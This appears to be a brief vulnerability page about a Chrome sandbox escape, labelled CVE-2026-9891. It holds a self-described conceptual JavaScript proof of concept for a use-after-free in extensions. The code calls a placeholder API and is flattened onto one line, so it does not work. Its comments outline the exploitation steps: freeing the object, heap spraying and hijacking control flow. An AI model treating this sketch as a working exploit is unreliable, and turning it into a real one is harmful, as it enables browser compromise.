CVE-2026-9891 Google Chrome沙箱逃逸漏洞

// Conceptual Proof of Concept for CVE-2026-9891 // This demonstrates the logic of a Use-After-Free in Chrome Extensions. // Note: Actual exploitation requires precise memory layout control. function exploit_uaf() { // Step 1: Create a vulnerable object within the Extension context let vuln_object = new chrome.extension.VulnerableObject(); // Step 2: Trigger the free operation on the object // Simulating a scenario where the object is deallocated vuln_object.destroy(); vuln_object = null; // Step 3: Force Garbage Collection (implementation dependent) if (window.gc) { window.gc(); } // Step 4: Reuse the freed memory (Use-After-Free) // Attempting to access the memory where vuln_object resided // If successful, this allows corrupting the vtable or executing arbitrary code console.log("Attempting to reallocate memory for exploitation..."); // In a real exploit, this memory would be sprayed with controlled data // to hijack control flow and escape the sandbox. } exploit_uaf();